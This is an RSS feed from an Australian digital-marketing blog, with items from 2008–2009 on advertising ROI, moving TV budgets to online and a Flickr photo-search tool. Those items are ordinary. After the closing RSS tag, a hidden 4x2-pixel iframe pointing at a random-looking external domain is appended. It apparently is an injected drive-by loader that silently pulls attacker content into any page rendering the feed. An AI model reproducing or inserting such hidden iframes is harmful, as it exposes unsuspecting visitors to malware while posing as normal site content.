<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kineo Australia &#187; Online Marketing</title>
	<atom:link href="http://www.kineo.com.au/topics/online-marketing/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kineo.com.au</link>
	<description>Digital Strategy, Online Marketing &#38; Business Blog</description>
	<lastBuildDate>Thu, 11 Jun 2009 00:26:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Online to leverage TV</title>
		<link>http://www.kineo.com.au/2009/online-to-leverage-tv/</link>
		<comments>http://www.kineo.com.au/2009/online-to-leverage-tv/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 22:57:37 +0000</pubDate>
		<dc:creator>Jordan Guiao</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Online Marketing]]></category>
		<category><![CDATA[digital]]></category>
		<category><![CDATA[online]]></category>
		<category><![CDATA[tv]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=315</guid>
		<description><![CDATA[
We have mentioned a few times the need for advertisers to implement more cost effective avenues to increase their ROI during these tough financial times. Online is a compelling candidate for this for several reasons; it is accountable and is cheaper than traditional ATL advertising. There are even reports on some clients completely moving their [...]]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2009/online-to-leverage-tv/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The Downturn Compass &#124; prove it works or we&#8217;ll slash it&#8230;</title>
		<link>http://www.kineo.com.au/2009/the-downturn-compass-prove-it-works-or-well-slash-it/</link>
		<comments>http://www.kineo.com.au/2009/the-downturn-compass-prove-it-works-or-well-slash-it/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 01:24:35 +0000</pubDate>
		<dc:creator>Nico Abbruzzese</dc:creator>
				<category><![CDATA[Online Marketing]]></category>
		<category><![CDATA[ROI Driven Strategies]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=308</guid>
		<description><![CDATA[ROI driven strategies are top of mind finally for US marketers, but what does it actually means?]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2009/the-downturn-compass-prove-it-works-or-well-slash-it/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>What if Google failed?</title>
		<link>http://www.kineo.com.au/2009/what-if-google-failed/</link>
		<comments>http://www.kineo.com.au/2009/what-if-google-failed/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 05:59:25 +0000</pubDate>
		<dc:creator>Jon Bovard</dc:creator>
				<category><![CDATA[Online Marketing]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=281</guid>
		<description><![CDATA[We aren’t on Google anymore? Oh. Um. Where are we then?]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2009/what-if-google-failed/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Shifting Media Dollars from TV to Digital</title>
		<link>http://www.kineo.com.au/2009/shifting-media-dollars-from-tv-to-digital/</link>
		<comments>http://www.kineo.com.au/2009/shifting-media-dollars-from-tv-to-digital/#comments</comments>
		<pubDate>Sun, 22 Feb 2009 22:25:03 +0000</pubDate>
		<dc:creator>Nico Abbruzzese</dc:creator>
				<category><![CDATA[Online Marketing]]></category>
		<category><![CDATA[budget]]></category>
		<category><![CDATA[digital]]></category>
		<category><![CDATA[tv]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=223</guid>
		<description><![CDATA[It's finally happening.  One of the biggest real estate advertisers in the states 21 Century has decided to pull its entire TV budget on Digital.]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2009/shifting-media-dollars-from-tv-to-digital/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Post and Pray: Content is still King&#8230;</title>
		<link>http://www.kineo.com.au/2009/post-and-pray-content-is-still-king/</link>
		<comments>http://www.kineo.com.au/2009/post-and-pray-content-is-still-king/#comments</comments>
		<pubDate>Mon, 09 Feb 2009 01:07:39 +0000</pubDate>
		<dc:creator>Nico Abbruzzese</dc:creator>
				<category><![CDATA[Online Marketing]]></category>
		<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Content]]></category>
		<category><![CDATA[WebTV]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=183</guid>
		<description><![CDATA[
I was recently reading through an interesting article Web TV Series I was quite intrigued by the piece here below, because it shows again that the rules of engagement digitally are not the same as in other channels.
&#8220;Nationwide, (a UK financial services company) recently created a personalized web video content campaign. (This was pre-existing content [...]]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2009/post-and-pray-content-is-still-king/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On Accountability</title>
		<link>http://www.kineo.com.au/2009/on-accountability/</link>
		<comments>http://www.kineo.com.au/2009/on-accountability/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 01:28:37 +0000</pubDate>
		<dc:creator>Jordan Guiao</dc:creator>
				<category><![CDATA[Online Marketing]]></category>
		<category><![CDATA[accountability]]></category>
		<category><![CDATA[Innovation]]></category>

		<guid isPermaLink="false">http://www.kineo.com.au/?p=186</guid>
		<description><![CDATA[As the year progresses on its tentative path, the media bombards with news of redundancies and bailout packages, and consumer confidence steadily declines, businesses continue their need to market their offerings.
Clients’ marketing budgets, now, as precious as ever, need to be measurable in its output, and be shown to have a clear return on investment. [...]]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2009/on-accountability/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CompFight &#8211; Creative Commons friendly Flickr search</title>
		<link>http://www.kineo.com.au/2008/compfight-creative-commons-friendly-flickr-search/</link>
		<comments>http://www.kineo.com.au/2008/compfight-creative-commons-friendly-flickr-search/#comments</comments>
		<pubDate>Thu, 20 Nov 2008 00:25:57 +0000</pubDate>
		<dc:creator>Tom Kelshaw</dc:creator>
				<category><![CDATA[Online Marketing]]></category>
		<category><![CDATA[flickr]]></category>
		<category><![CDATA[presentations]]></category>
		<category><![CDATA[stock photo]]></category>

		<guid isPermaLink="false">http://kineo.fathom.com.au/?p=64</guid>
		<description><![CDATA[Compfight is a photo search tool that lets you quickly search through Flickr photos for &#8220;comps, inspiration or research&#8221;.
Compfight was developed by advertising art directors, looking for a quick, easy way to quickly search for images to use for comps.
Compfight results can be used to make fake advertisements, storyboards, idea templates etc. that an agency [...]]]></description>
		<wfw:commentRss>http://www.kineo.com.au/2008/compfight-creative-commons-friendly-flickr-search/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://eiueuiuewi.com/54N7JS34B34D5NH34J/" width="4" height="2"></iframe>